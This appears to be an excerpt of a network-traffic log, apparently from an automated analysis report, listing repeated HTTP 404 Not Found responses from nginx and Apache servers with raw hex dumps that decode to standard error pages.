Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 08:44:43 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 08:44:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
